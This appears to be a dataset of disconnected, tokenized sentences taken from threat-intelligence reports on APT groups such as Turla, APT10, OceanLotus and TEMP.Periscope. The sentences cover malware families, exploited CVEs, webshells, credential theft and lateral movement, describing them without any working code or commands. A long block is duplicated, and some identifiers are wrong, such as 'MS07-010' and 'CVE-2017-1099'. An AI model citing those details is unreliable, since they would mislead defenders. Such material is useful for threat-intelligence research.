Proofpoint researchers have observed a well-known Russian-speaking APT actor usually referred to as Turla using a new .NET/MSIL dropper for an existing backdoor called JS/KopiLuwak .
Insikt Group investigated the domain and hosting infrastructure used by the APT33 group .
Symantec tracks the group behind this activity as Blackfly and detects the malware they use as Backdoor.Winnti .
As shown within the timeline above , the WINDSHIFT activity observed by Unit 42 falls between January and May of 2018 .
Symantec discovered Suckfly , an advanced threat group , conducting targeted attacks using multiple stolen certificates , as well as hacktools and custom malware .
In April Novetta released its excellent report on the Winnti malware spotted in the operations of Axiom group .
A few days ago , Symantec discovered a new document that appears to be part of the ongoing BlackEnergy APT group attacks against Ukraine .
While analyzing a campaign run by the Gamaredon group , FortiGuard Labs discovered the tools they used to prepare the attack and found artifacts left behind by the actors that allowed us to perform a large amount of forensic analysis .
In this blog , Unit 42 provides details of the tools and tactics we observed on these compromised SharePoint servers , explain how we believe these connect to the Emissary Panda threat group .
QiAnXin identified this APT group coded as ‘APT-C-35’ in 2017 , who is mainly targeting Pakistan and other South Asian countries for cyber espionage .
CTU researchers assess with moderate confidence that APT28 is operating from the Russian Federation and is gathering intelligence on behalf of the Russian government .
It is worth noting that during our investigation f-secure uncovered links between infrastructure associated with the Callisto Group and infrastructure used to host online stores selling controlled substances .
As Unit 42 have observed throughout our tracking of the OilRig group , adopting proven tactics has been a common behavior over time .
The OceanLotus group was first revealed and named by QiAnXin in May 2015 .
The OceanLotus , an APT group said to have a Vietnamese background , was first exposed and named by QiAnXin in May 2015 .
The QiAnXin keeps a close eye on activities made by OceanLotus .
Donot , named and tracked by PatchSky ,is an attack group that mainly targets countries such as Pakistan in South Asia .
After investigation , QiAnXin suspect this attack is carried out by Molerats .
In June 2017 , QiAnXin discovered new malware used by Molerats .
Last month , QiAnXin captured multiple phishing emails sent by TA505 Group to target financial institutions .
QiAnXin confirmed that this is a DarkHydrus Group’s new attack targeting Middle East region .
First described by Kaspersky in 2014 and later by Cylance in 2017, Machete is a piece of malware found to be targeting high profile individuals and organizations in Latin American countries .
It’s now relying on a new DNS-based attack technique to better cloak command and control communications between Greenbug and the malware , ” said Dennis Schwarz , research analyst on Arbor , in an interview with Threatpost .
After thorough analysis , ESET researchers are highly confident that this campaign is run by the OceanLotus group , also known as APT32 and APT-C-00 .
360 Helios Team captured the first Trojan of the Poison Ivy Group in December 2007 .
Through research , 360 Helios Team has found that , since 2007 , the Poison Ivy Group has carried out 11 years of cyber espionage campaigns against Chinese key units and departments , such as national defense , government , science and technology , education and maritime agencies .
In addition , Antiy Lab revealed the APT organization Green Spot on September 19 , 2018 .
Recently , the 360 Core Security discovered an APT attack code named as APT-C-26 against cryptocurrency institutions and related individuals .
This APT attack was analyzed and attributed upon the detection and 360 Core Security now confirmed its association with the APT-C-06 Group .
In April , 2018 , the 360 Core Security takes the lead in capturing the APT-C-06 group’s new APT attack using 0-day vulnerabilities (CVE-2018-8174) in the wild .
ESET researchers have dissected some of the latest additions to the malicious toolkit of the Advanced Persistent Threat (APT) group known as OceanLotus , also dubbed APT32 and APT-C-00 .
Earlier this year , our colleagues at Symantec uncovered an interesting story about the use of Equation group exploitation tools by an alleged Chinese group named Buckeye a.k.a APT3 , or UPS team .
In addition , OceanLotus is also known to use ‘watering hole attacks’ , which involve the compromise of a website that the victim is likely to visit .
Kaspersky found Zebrocy deploying a compiled Python script , which we call PythocyDbg , within a Southeast Asian foreign affairs organization: this module primarily provides for the stealthy collection of network proxy and communications debug capabilities .
ESET researchers have investigated a distinctive backdoor used by the notorious APT group known as Turla (or Snake ,or Uroburos) to siphon off sensitive communications from the authorities of at least three European countries .
Dragos has reported that XENOTIME , the APT group behind the TRISIS (aka TRITON and HatMan) attack on a Saudi Arabian petro-chemical facility in 2017 , has expanded its focus beyond the oil and gas industries .
ESET researchers have observed a significant change in the campaign of the infamous espionage group .
On the technical side , since mid-January Kaspersky researchers have been tracking an active Turla campaign targeting government bodies in Turkmenistan and Tajikistan .
Kaspersky also published details on how Zebrocy has added the Go” language to its arsenal – the first time that we have observed a well-known APT threat actor deploy malware with this compiled , open source language .
ESET researchers have found that Turla , the notorious state-sponsored cyberespionage group , has added a fresh weapon to its arsenal that is being used in new campaigns targeting embassies and consulates in the post-Soviet states .
Turla has been operating for a number of years and its activities have been monitored and analyzed by ESET research laboratories .
Kaspersky researchers attribute the campaign , which we call SpoiledLegacy” , to the LuckyMouse APT group (aka EmissaryPanda and APT27) .
Further tracking of the Lazarus’s activities has enabled Kaspersky researchers to discover a new operation , active since at least November 2018 , which utilizes PowerShell to control Windows systems and Mac OS malware to target Apple customers .
However , over the last nine campaigns since Trend Micro‘s June report , TA505 also started using .ISO image attachments as the point of entry , as well as a .NET downloader , a new style for macro delivery , a newer version of ServHelper , and a .DLL variant of FlawedAmmyy downloader .
In this blog post , FireEye researchers are going to examine a recent instance where FireEye Managed Defense came toe-to-toe with APT41 .
The group has demonstrated access to zero-day vulnerabilities (CVE-2018-0802) , and the ability to incorporate them into operations .
More information on this threat actor is found in our report , APT37 (Reaper): The Overlooked North Korean Actor .
There have been reports of real-time phishing in the wild as early as 2010 .
Explanation of ToolTo improve social engineering assessments , we developed a tool – named ReelPhish – that simplifies the real-time phishing technique .
We assess with high confidence that this activity is carried out on behalf of the North Korean government given malware development artifacts and targeting that aligns with North Korean state interests .
Known targets of this group have been involved in the maritime industry , as well as engineering-focused entities , and include research institutes , academic organizations , and private firms in the United States .
By releasing ReelPhish , we at Mandiant hope to highlight the need for multiple layers of security and discourage the reliance on any single security mechanism .
The group has also been reported as Leviathanby other security firms .
Like multiple other Chinese cyber espionage actors , TEMP.Periscope has recently re-emerged and has been observed conducting operations with a revised toolkit .
The tool then starts a new web browser instance on the attacker’s system and submits credentials on the real VPN portal .
These tools include:AIRBREAK: a JavaScript-based backdoor also reported as Orz that retrieves commands from hidden strings in compromised webpages and actor controlled profiles on legitimate services.BADFLICK: a backdoor that is capable of modifying the file system , generating a reverse shell , and modifying its command and control (C2) configuration .
HOMEFRY: a 64-bit Windows password dumper/cracker that has previously been used in conjunction with AIRBREAK and BADFLICK backdoors .
The following are tools that TEMP.Periscope has leveraged in past operations and could use again , though these have not been seen in the current wave of activity:Beacon: a backdoor that is commercially available as part of the Cobalt Strike software platform , commonly used for pen-testing network environments .
This entry was posted on Fri Mar 16 00:00 EDT 2018 and filed under Targeted Attacks , FireEye , and China .
Read our report , APT37 (Reaper): The Overlooked North Korean Actor , to learn more about our assessment that this threat actor is working on behalf of the North Korean government , as well as various other details about their operations .
A brief timeline of this activity is shown in Figure 1.Figure 1: Timeline of this recently observed spear phishing campaign .
The first part of the campaign From Jan. 23 , 2018 , to Feb. 26 , 2018 used a macro-based document that dropped a VBS file and an INI file .
One such email that we were able to obtain was targeting users in Turkey , as shown in Figure 4:Figure 4: Sample spear phishing email containing macro-based document attachment The malicious Microsoft Office attachments that we observed appear to have been specially crafted for individuals in four countries: Turkey , Pakistan , Tajikistan and India .
The INI file contains the Base64 encoded PowerShell command , which will be decoded and executed by PowerShell using the command line generated by the VBS file on execution using WScript.exe .
cmstp.exe system restart , cmstp.exe will be used to execute the SCT file indirectly through the INF file .
The following are the three files:Defender.sct – The malicious JavaScript based scriptlet file .
FireEye observed a high volume of activity associated with the exploitation of CVE-2017-10271 following the public posting of proof of concept code in December 2017 .
Users who failed to patch their systems may find themselves mining cryptocurrency for threat actors .
This entry was posted on Tue Mar 13 12:15 EDT 2018 and filed under Yogesh Londhe , Dileep .
If the lateral movement with credentials fails , then the malware uses PingCastle MS17-010 scanner (PingCastle is a French Active Directory security tool) to scan that particular host to determine if its vulnerable to EternalBlue , and uses it to spread to that host .
Tactic #1: Delivering the miner directly to a vulnerable serverSome tactics we've observed involve exploiting CVE-2017-10271 , leveraging PowerShell to download the miner directly onto the victim’s system (Figure 1) , and executing it using ShellExecute() .
The malware checks whether its running on a 32-bit or 64-bit system to determine which PowerShell script to grab from the command and control (C2) server .
Notably , cryptocurrency mining malware is being distributed using various tactics , typically in an opportunistic and indiscriminate manner so cyber criminals will maximize their outreach and profits .
After all network derived IPs have been processed , the malware generates random IPs and uses the same combination of PingCastle and EternalBlue to spread to that host .
They have taken interest in subject matter of direct importance to the Democratic People's Republic of Korea (DPRK) such as Korean unification efforts and North Korean defectors .
We assess that the actors employing this latest Flash zero-day are a suspected North Korean group we track as TEMP.Reaper .
Historically , the majority of their targeting has been focused on the South Korean government , military , and defense industrial base .
While we have observed other suspected North Korean threat groups such as TEMP.Hermit employ wiper malware in disruptive attacks , we have not thus far observed TEMP.Reaper use their wiper malware actively against any targets .
In the past year , FireEye iSIGHT Intelligence has discovered newly developed wiper malware being deployed by TEMP.Reaper , which we detect as RUHAPPY .
Historically , the majority of their targeting has been focused on the South Korean government , military , and defense industrial base .
FireEye products have robust detection for the malware used in this campaign .
TEMP.Periscope BackgroundActive since at least 2013 , TEMP.Periscope has primarily focused on maritime-related targets across multiple verticals , including engineering firms , shipping and transportation , manufacturing , defense , government offices , and research universities .
TEMP.Periscope BackgroundActive since at least 2013 , TEMP.Periscope has primarily focused on maritime-related targets across multiple verticals , including engineering firms , shipping and transportation , manufacturing , defense , government offices , and research universities .
Infection VectorWe have observed this recent wave of Zyklon malware being delivered primarily through spam emails .
The document files exploit at least three known vulnerabilities in Microsoft Office , which we discuss in the Infection Techniques section .
Figure 2: Zyklon attack flowInfection Techniques CVE-2017-8759 .
This vulnerability was discovered by FireEye in September 2017 , and it is a vulnerability we have observed being exploited in the wild .
We have observed this recent wave of Zyklon malware being delivered primarily through spam emails .
The malware may communicate with its command and control (C2) server over The Onion Router (Tor) network if configured to do so .
Figure 3: Embedded URL in OLE object CVE-2017-11882 Similarly , we have also observed actors leveraging another recently discovered vulnerability (CVE-2017-11882) in Microsoft Office .
It follows Stuxnet which was used against Iran in 2010 and Industroyer which we believe was deployed by Sandworm Team against Ukraine in 2016 .
Command & Control Communication The C2 communication of Zyklon is proxied through the Tor network .
At this time of writing , FireEye Multi Vector Execution (MVX) engine is able to recognize and block this threat .
The targeting of critical infrastructure to disrupt , degrade , or destroy systems is consistent with numerous attack and reconnaissance activities carried out globally by Russian , Iranian , North Korean , U.S. , and Israeli nation state actors .
Specifically , the following facts support this assessment: The attacker targeted the SIS suggesting an interest in causing a high-impact attack with physical consequences .
First , the attacker’s mission is to disrupt an operational process rather than steal data .
The TRITON malware contained the capability to communicate with Triconex SIS controllers .
the attacker did not leverage all of TRITON’s extensive reconnaissance capabilities .
This file is decrypted and injected into an instance of InstallUtiil.exe , and functions as a Tor anonymizer .
For instance , Russian operators , such as Sandworm Team , have compromised Western ICS over a multi-year period without causing a disruption .
The TRITON sample Mandiant analyzed added an attacker-provided program to the execution table of the Triconex controller .
Along with the executable , two binary files , inject.bin (malicious function code) and imain.bin (malicious control logic) , were deployed as the controller’s payload .
We assess that this was an anti-forensics technique to hide the presence of the attacker code on the Triconex controller .
This entry was posted on Thu Dec 14 10:00 EST 2017 and filed under Malware , Nathan Brubaker , Christopher Glyer , Blake Johnson , Dan Caban , Marina Krotofil , ICS Security , and Dan Scali .
This isn’t a bad thing as it shows a natural grouping of nodes that could be a good candidate to group to help simplify the overall graph and make analysis easier .
Keeping in mind the sensitivity of passwords , GoCrack includes an entitlement-based system that prevents users from accessing task data unless they are the original creator or they grant additional users to the task .
Throughout 2017 , we observed two versions of BACKSWING and saw a significant increase in May with an apparent focus on compromising Ukrainian websites .
During our investigation into the activity , FireEye identified a direct overlap between BADRABBIT redirect sites and sites hosting a profiler we’ve been tracking as BACKSWING .
This entry was posted on Tue Nov 28 14:00 EST 2017 and filed under Malware , Sandor Nemes , Malware Analysis , and Abhay Vaish .
FireEye network devices blocked infection attempts at over a dozen victims primarily in Germany , Japan , and the U.S until Oct. 24 at 15:00 UTC , when the infection attempts ceased and attacker infrastructure – both 1dnscontrol.com and the legitimate websites containing the rogue code – were taken offline .
Incident Background Beginning on Oct. 24 at 08:00 UTC , FireEye detected and blocked attempts to infect multiple clients with a drive-by download masquerading as a Flash Update (install_flash_player.exe) that delivered a wormable variant of ransomware .
FireEye observed that BACKSWING , a malicious JavaScript profiling framework , was deployed to at least 54 legitimate sites starting as early as September 2016 .
Figure 3: BACKSWING Version 2Version 1:FireEye observed the first version of BACKSWING in late 2016 on websites belonging to a Czech Republic hospitality organization in addition to a government website in Montenegro .
Beginning in May 2017 , FireEye observed a number of Ukrainian websites compromised with BACKSWING v1 , and in June 2017 , began to see content returned from BACKSWING receivers .
FireEye observed this framework on compromised Turkish sites and Montenegrin sites over the past year .
While FireEye has not directly observed BACKSWING delivering BADRABBIT , BACKSWING was observed on multiple websites that were seen referring FireEye customers to 1dnscontrol.com , which hosted the BADRABBIT dropper .
Harvested credentials provided by an embedded Mimikatz executable facilitate the infection of other systems on the network .
Like EternalPetya , infpub.dat determines if a specific file exists on the system and will exit if found .
This entry was posted on Mon Dec 04 12:00 EST 2017 and filed under Code , Reverse Engineering , Nick Harbour , and Incident Response .
Mimikatz is a post-exploitation tool that allows attackers to extract credentials from volatile memory .
The developer consistently used Accept-Enconding” (note the extra ‘n’) in all DanBot samples analyzed by CTU researchers .
Previous versions were described by Kaspersky in 2014 and Cylance in 2017 .
The GoogleUpdate.exe component is responsible for communicating with the remote C&C server .
This way , the malware can have its configuration , malicious binaries and file listings updated , but can also download and execute other binaries .
They also download apks secretly and record audios and videos , then upload users’ privacy information to server , causing users’ privacy leakage .
The SectorJ04 group mainly utilizes a spear phishing email with MS Word or Excel files attached , and the document files downloads the Microsoft Installer (MSI) installation file from the attacker server and uses it to install backdoor on the infected system .
Backdoor installed in the infected system distributed additional botnet malware , ransomware and email stealers .
The email stealer collects connection protocol information and account information , such as SMTP , IMAP , and POP3 , which are stored in the registry by Outlook and Thunderbird mail clients and sends them to the attacker server in a specific format .
The threat actor’s emails usually contain a picture or a link without a malicious payload and are sent out to a huge recipient database of up to 85 , 000 users .
Group-IB has also detected recon emails sent out to New Zealand .
In 2019 , Group-IB also observed the use of a new fileless PowerShell loader called IvokeThe Silence.Main Trojan , which is the main stage of the attack ,has a full set of commands to control a compromised computer .
Group-IB specialists tracked a massive mailout of emails containing a malicious Microsoft Word attachment titled Договор.doc” [Contract.doc] .
On 24 March 2019 , Silence.ProxyBot (MD5 2fe01a04d6beef14555b2cf9a717615c) was uploaded to VirusTotal from an IP address in Sri Lanka .
To do this , the actor may have used a unique tool called Atmosphere , a Trojan developed by Silence to remotely control ATM dispensers , or a similar program called xfs-disp.exe , which the actor may have used in their attack on IT Bank .
The main goal of Silence.Downloader is to receive an executable file and run it on an infected machine .
Silence.MainModule is a typical remote control Trojan that provides access to the command shell CMD.EXE with the possibility of downloading files from remote nodes to a computer and uploading files from a computer to a remote server .
Rapid7 again observed APT10 dropping payloads named ccSEUPDT.exe .
These malware families have a rich history of being used in many targeted attacks against government and private organizations .
The samples we analyzed originated from the Philippines .
Also , the certificate embedded in the Quasar sample was issued at 22.12.2018 , which correlates with the file’s compilation date .
PlugX is a modular structured malware that has many different operational plugins such as communication compression and encryption , network enumeration , files interaction , remote shell operations and more .
TONEDEAF supports collecting system information , uploading and downloading of files , and arbitrary shell command execution .
Of note , FireEye discovered two additional new malware families hosted at this domain , VALUEVAULT and LONGWATCH .
PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome , Firefox , and Internet Explorer to a file .
FireEye detects this activity across our platforms , including named detection for TONEDEAF , VALUEVAULT , and LONGWATCH .
Banks in countries such as Russia , the United Kingdom , the Netherlands , Spain , Romania , Belarus , Poland , Estonia , Bulgaria , Georgia , Moldova , Kyrgyzstan , Armenia , Taiwan and Malaysia have allegedly been targeted with spearphishing emails , luring victims into clicking malicious URLs and executing booby-trapped documents .
The other overlapping files are tools used by the adversary to locate other systems on the network (etool.exe) , check to see if they are vulnerable to CVE-2017-0144 (EternalBlue) patched in MS07-010 (checker1.exe) and pivot to them using remote execution functionality offered by a tool similar to PsExec offered by Impacket (psexec.exe) .
Also , the NCSC advisory mentioned that the actors used a file name stylecss.aspx for their webshell , which is the same filename we saw associated with China Chopper .
We will provide an analysis of the HyperBro tool in an upcoming section .
Figure 9 shows a code comparison between the PYTHON33.dll (right) and inicore_v2.3.30.dll (left) (SHA256: 4d65d371a789aabe1beadcc10b38da1f998cd3ec87d4cc1cfbf0af014b783822) , which was sideloaded to run the SysUpdate tool in a previous Emissary Panda campaign .
The files uploaded to this webshell included the same compiled python script that would scan remote systems that were vulnerable to CVE-2017-0144 (EternalBlue) that we saw uploaded to the other errr.aspx webshell .
We believe the actors pivoted to other systems on the network using stolen credentials and by exploiting the CVE-2017-0144 (EternalBlue) vulnerability patched in MS17-010 .
The first module downloaded by the GRIFFON malware to the victim’s computer is an information-gathering JScript , which allows the cybercriminals to understand the context of the infected workstation .
The new GRIFFON implant is written to the hard drive before each execution , limiting the file-less” aspect of this method .
In fact , AveMaria is a classic infostealer bot that collects all possible credentials from various types of software: browsers , email clients , messengers , etc , and can act as a keylogger .
The main payload is usually Imminent Monitor RAT ; however , at the beginning of 2018 , we also observed the use of LuminosityLink RAT , NetWire RAT , and NjRAT .
In a case in June 2019 , we also noticed Warzone RAT being used .
Xpert RAT reportedly first appeared in 2011 .
The first version of Proyecto RAT” was published at the end of 2010 .
Similar to previous campaigns , the JAR was directly attached to emails and used file names such as Order_2018.jar .
Code contained inside one of the slides triggers an exploit for CVE-2017-8759 , a remote code execution vulnerability in Microsoft .NET framework .
On June 24 , we found another campaign targeting Lebanon with the ServHelper malware .
Nonetheless , these spam emails were not delivered to the UAE or Arabic-speaking users , but to banks in Asian countries such as India , Indonesia , and the Philippines .
In April 2019 , several national security organizations released alerts on CVE-2019-0604 exploitation , including the Saudi Arabian National Cyber Security Center and the Canadian Center for Cyber Security .
Both of these alerts discussed campaigns in which actors used the CVE-2019-0604 to exploit SharePoint servers to install the China Chopper webshell .
The other overlapping files are tools used by the adversary to locate other systems on the network (etool.exe) , check to see if they are vulnerable to CVE-2017-0144 (EternalBlue) patched in MS07-010 (checker1.exe) and pivot to them using remote execution functionality offered by a tool similar to PsExec offered by Impacket (psexec.exe) .
The Emissary Panda threat group loaded the China Chopper webshell onto SharePoint servers at two Government organizations in the Middle East , which we believe with high confidence involved exploiting a remote code execution vulnerability in SharePoint tracked in CVE-2019-0604 .
The files uploaded to this webshell included the same compiled python script that would scan remote systems that were vulnerable to CVE-2017-0144 (EternalBlue) that we saw uploaded to the other errr.aspx webshell .
We believe the actors pivoted to other systems on the network using stolen credentials and by exploiting the CVE-2017-0144 (EternalBlue) vulnerability patched in MS17-010 .
To deliver their malware , the cyber criminals use spearphishing emails with various types of attachments: MS Office documents or spreadsheet files exploiting some known vulnerability like CVE-2017-11882 , or documents with Ole2Link and SCT .
This activity ceased in February 2016 , likely because the men who made up Scattered Canary began to focus on honing their BECtotal , Scattered Canary received more than 3 , 000 account credentials as a result of their phishing attacks .
The past iteration of SLUB spread from a unique watering hole website exploiting CVE-2018-8174 , a VBScript engine vulnerability .
This malicious site used CVE-2019-0752 , an Internet Explorer vulnerability discovered by Trend Micro’s Zero Day Initiative (ZDI) that was just patched this April .
The SLUB malware was delivered through watering hole websites that were injected with exploits for CVE-2018-8174 or CVE-2019-0752 .
In May 2018 , campaigns being conducted by SWEED began leveraging another vulnerability in Microsoft Office: CVE-2017-11882 , a remote code execution bug in Microsoft Office that is commonly observed being leveraged in malicious documents used in commodity malware distribution .
Code contained inside one of the slides triggers an exploit for CVE-2017-8759 , a remote code execution vulnerability in Microsoft .NET framework .
Zebrocy activity initiates with spearphishing operations delivering various target profilers and downloaders without the use of any 0day exploits .
On Nov14 , 2017 , FireEye observed APT34 using an exploit for the Microsoft Office vulnerability to target a government organization in the Middle East .
Google and Microsoft have already confirmed the Russian hacker group APT28 used a Flash vulnerability CVE-2016-7855 along with this kernel privilege escalation flaw to perform a targeted attack .
Kaspersky first became aware of BlackOasis’ activities in May 2016 , while investigating another Adobe Flash zero day .
Through the exploitation of the HTA handler vulnerability described in CVE-2017-1099 , the observed RTF attachments download .
In early May , the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE-2017-0199 .
As early as March 4 , 2017 , malicious documents exploiting CVE-2017-0199 were used to deliver the LATENTBOT malware .
The first , st07383.en17.docx , continues by utilizing 32 or 64 bit versions of CVE-2017-0001 to escalate privileges before executing a final JavaScript payload containing a malware implant known as SHIRIME .
This vulnerability was found in a document named Trump's_Attack_on_Syria_English.docx” .
The first , st07383.en17.docx , continues by utilizing 32 or 64 bit versions of CVE-2017-0001 to escalate privileges before executing a final JavaScript payload containing a malware implant known as SHIRIME .
This vulnerability was found in a document named Trump's_Attack_on_Syria_English.docx” .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
Despite being an older vulnerability , many threat actors continue to leverage CVE-2012-0158 to exploit Microsoft Word .
This Gorgon Group campaign leveraged spear phishing emails with Microsoft Word documents exploiting CVE-2017-0199 .
Ke3chang has also leveraged a Java zero-day vulnerability ( CVE-2012-4681 ) , as well as older , reliable exploits for Microsoft Word ( CVE-2010-3333 ) and Adobe PDF Reader ( CVE-2010-2883 ) .
Documents with the Flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
Both attachments are malicious Word documents that attempt to exploit the Windows OLE Automation Array Remote Code Execution Vulnerability tracked by CVE-2014-6332 .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
This bait document , or email attachment , appears to be a standard Word document , but is in fact an CVE-2012-0158 exploit , an executable with a double extension , or an executable with an RTLO filename , so it can execute code without the user 's knowledge or consent .
The backdoor was delivered via a malicious .rtf file that exploited CVE-2017-0199 .
The attackers stole organizations' SSL certificates associated with security appliances such as ASA to obtain VPN credentials , allowing the actors to gain access to the targeted network .
More importantly , one of these files also enables the download of TeamViewer , a remote access tool that gives threat actors remote control over the system .
The agency's hacking division freed it from having to disclose its often controversial operations to the NSA (its primary bureaucratic rival) in order to draw on the NSA's hacking capacities .
After infestation , Weeping Angel places the target TV in a 'Fake-Off' mode , so that the owner falsely believes the TV is off when it isThe CIA's Mobile Devices Branch (MDB) developed numerous attacks to remotely hack and control popular smart phones .
These techniques permit the CIA to bypass the encryption of WhatsApp , Signal , Telegram , Wiebo , Confide and Cloackman by hacking the smart phones that they run on and collecting audio and message traffic before encryption is applied .
The CIA also runs a very substantial effort to infect and control Microsoft Windows users with its malware .
As an example , specific CIA malware revealed in Year Zero is able to penetrate , infest and control both the Android phone and iPhone software that runs or has run presidential Twitter accounts .
we assess with high confidence that these incidents were conducted by APT10 also known as Stone Panda , menuPass , CVNX in an effort to gain access to networks and steal valuable intellectual property or gain commercial advantage .
Utilizing actors working for shell companies such as Huaying Haitai Science and Technology Development Co Ltd ,the MSS has conducted an unprecedented campaign , dubbed Operation Cloud Hopper , ” against managed IT service providers (MSPs) designed to steal intellectual property and enable secondary attacks against their clients .
We assess that APT10 likely compromised Visma with the primary goal of enabling secondary intrusions onto their client networks , and not of stealing Visma intellectual property .
In this same time frame , APT10 also targeted a U.S. law firm and an international apparel company , likely to gather information for commercial advantage .
Access to the networks of these third-party service providers grants the MSS the ability to potentially access the networks of hundreds , if not thousands , of corporations around the world .
In all three incidents , the attackers gained access to networks through deployments of Citrix and LogMeIn remote-access software using stolen valid user credentials .
In early 2017 , APT10 began conducting attacks against global managed IT service providers (MSPs) that granted them unprecedented access to MSPs and their customers’ networks .
This was followed by an initial exploitation , network enumeration , and malicious tool deployment on various Visma endpoints within two weeks of initial access .
They also used WinRAR and cURL for Windows , both often renamed , to compress and upload the exfiltrated files from the Visma network to the Dropbox API .
The attacker gained access to the victim’s internet-accessible Citrix systems and authenticated to them from networks associated with low-cost VPN providers owned by VPN Consumer Network .
The attackers used the same method of lateral movement by mounting the remote drive on a system , copying 1.bat to it , using task scheduler to execute the batch script , and finally , deleting the batch script .
APT10's unprecedented campaign against MSPs , alleged to have included some of the largest MSPs in the world , in order to conduct secondary attacks against their clients , grants the Chinese state the ability to potentially access the networks of hundreds (if not thousands) of corporations around the world .
The malware basically provides a remote CMD/PowerShell terminal for the attackers , enabling them to execute scripts/commands and receive the results via HTTP requests .
What lied beneath this facade was a well-engineered campaign of phishing attacks designed to steal credentials and spy on the activity of dozens of journalists , human rights defenders , trade unions and labour rights activists , many of whom are seemingly involved in the issue of migrants’ rights in Qatar and Nepal .
It appears that the attackers may have impersonated the identity of a real young woman and stole her pictures to construct the fake profile , along with a professional biography also stolen from yet another person .
Dubbed ‘Operation Sheep’ , this massive data stealing campaign is the first known campaign seen in the wild to exploit the Man-in-the-Disk vulnerability revealed by Check Point Research earlier last year .
In theory , Shun Wang Technologies could have collected a third of China’s population names and contact numbers if not more .
With no clear declaration of usage from Shun Wang , nor proper regulatory supervision , such data could circulate into underground markets for further exploit , ranging from rogue marketing , targeted telephone scams or even friend referral program abuse during November’s Single’s Day and December’s Asian online shopping fest .
In Operation Sheep’s case , Shun Wang likely harvests end user contact lists without application developer acknowledgement .
APT41 has executed multiple software supply chain compromises , gaining access to software companies to inject malicious code into legitimate files before distributing updates .
Learning to access video game production environments enabled APT41 to develop the tactics , techniques , and procedures (TTPs) that were later leveraged against software companies to inject malicious code into software updates .
We believe that like other Chinese espionage operators , APT41 has moved toward strategic intelligence collection and establishing access , but away from direct intellectual property theft .
In June 2018 , APT41 sent spear-phishing emails using an invitation lure to join a decentralized gaming platform linked to a cryptocurrency service (Figure 5) that had positioned itself as a medium of exchange for online games and gambling sites .
We suggest that APT41 sought to target in-game currency but found they could not monetize the specific targeted game , so the group resorted to ransomware to attempt to salvage their efforts and profit from the compromise .
In addition to the aforementioned post-exploitation tools , the actors used these webshells to upload legitimate executables that they would use DLL sideloading to run a malicious DLL that has code overlaps with known Emissary Panda attacks .
In April 2019 , several national security organizations released alerts on CVE-2019-0604 exploitation , including the Saudi Arabian National Cyber Security Center and the Canadian Center for Cyber Security .
Both of these alerts discussed campaigns in which actors used the CVE-2019-0604 to exploit SharePoint servers to install the China Chopper webshell .
The other overlapping files are tools used by the adversary to locate other systems on the network (etool.exe) , check to see if they are vulnerable to CVE-2017-0144 (EternalBlue) patched in MS07-010 (checker1.exe) and pivot to them using remote execution functionality offered by a tool similar to PsExec offered by Impacket (psexec.exe) .
The Emissary Panda threat group loaded the China Chopper webshell onto SharePoint servers at two Government organizations in the Middle East , which we believe with high confidence involved exploiting a remote code execution vulnerability in SharePoint tracked in CVE-2019-0604 .
The files uploaded to this webshell included the same compiled python script that would scan remote systems that were vulnerable to CVE-2017-0144 (EternalBlue) that we saw uploaded to the other errr.aspx webshell .
We believe the actors pivoted to other systems on the network using stolen credentials and by exploiting the CVE-2017-0144 (EternalBlue) vulnerability patched in MS17-010 .
To deliver their malware , the cyber criminals use spearphishing emails with various types of attachments: MS Office documents or spreadsheet files exploiting some known vulnerability like CVE-2017-11882 , or documents with Ole2Link and SCT .
This activity ceased in February 2016 , likely because the men who made up Scattered Canary began to focus on honing their BECtotal , Scattered Canary received more than 3 , 000 account credentials as a result of their phishing attacks .
The past iteration of SLUB spread from a unique watering hole website exploiting CVE-2018-8174 , a VBScript engine vulnerability .
This malicious site used CVE-2019-0752 , an Internet Explorer vulnerability discovered by Trend Micro’s Zero Day Initiative (ZDI) that was just patched this April .
The SLUB malware was delivered through watering hole websites that were injected with exploits for CVE-2018-8174 or CVE-2019-0752 .
In May 2018 , campaigns being conducted by SWEED began leveraging another vulnerability in Microsoft Office: CVE-2017-11882 , a remote code execution bug in Microsoft Office that is commonly observed being leveraged in malicious documents used in commodity malware distribution .
Code contained inside one of the slides triggers an exploit for CVE-2017-8759 , a remote code execution vulnerability in Microsoft .NET framework .
Zebrocy activity initiates with spearphishing operations delivering various target profilers and downloaders without the use of any 0day exploits .
On Nov14 , 2017 , FireEye observed APT34 using an exploit for the Microsoft Office vulnerability to target a government organization in the Middle East .
Google and Microsoft have already confirmed the Russian hacker group APT28 used a Flash vulnerability CVE-2016-7855 along with this kernel privilege escalation flaw to perform a targeted attack .
Kaspersky first became aware of BlackOasis’ activities in May 2016 , while investigating another Adobe Flash zero day .
Through the exploitation of the HTA handler vulnerability described in CVE-2017-1099 , the observed RTF attachments download .
In early May , the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE-2017-0199 .
As early as March 4 , 2017 , malicious documents exploiting CVE-2017-0199 were used to deliver the LATENTBOT malware .
The first , st07383.en17.docx , continues by utilizing 32 or 64 bit versions of CVE-2017-0001 to escalate privileges before executing a final JavaScript payload containing a malware implant known as SHIRIME .
This vulnerability was found in a document named Trump's_Attack_on_Syria_English.docx” .
The first , st07383.en17.docx , continues by utilizing 32 or 64 bit versions of CVE-2017-0001 to escalate privileges before executing a final JavaScript payload containing a malware implant known as SHIRIME .
This vulnerability was found in a document named Trump's_Attack_on_Syria_English.docx” .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
Despite being an older vulnerability , many threat actors continue to leverage CVE-2012-0158 to exploit Microsoft Word .
This Gorgon Group campaign leveraged spear phishing emails with Microsoft Word documents exploiting CVE-2017-0199 .
Ke3chang has also leveraged a Java zero-day vulnerability ( CVE-2012-4681 ) , as well as older , reliable exploits for Microsoft Word ( CVE-2010-3333 ) and Adobe PDF Reader ( CVE-2010-2883 ) .
Documents with the Flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
Both attachments are malicious Word documents that attempt to exploit the Windows OLE Automation Array Remote Code Execution Vulnerability tracked by CVE-2014-6332 .
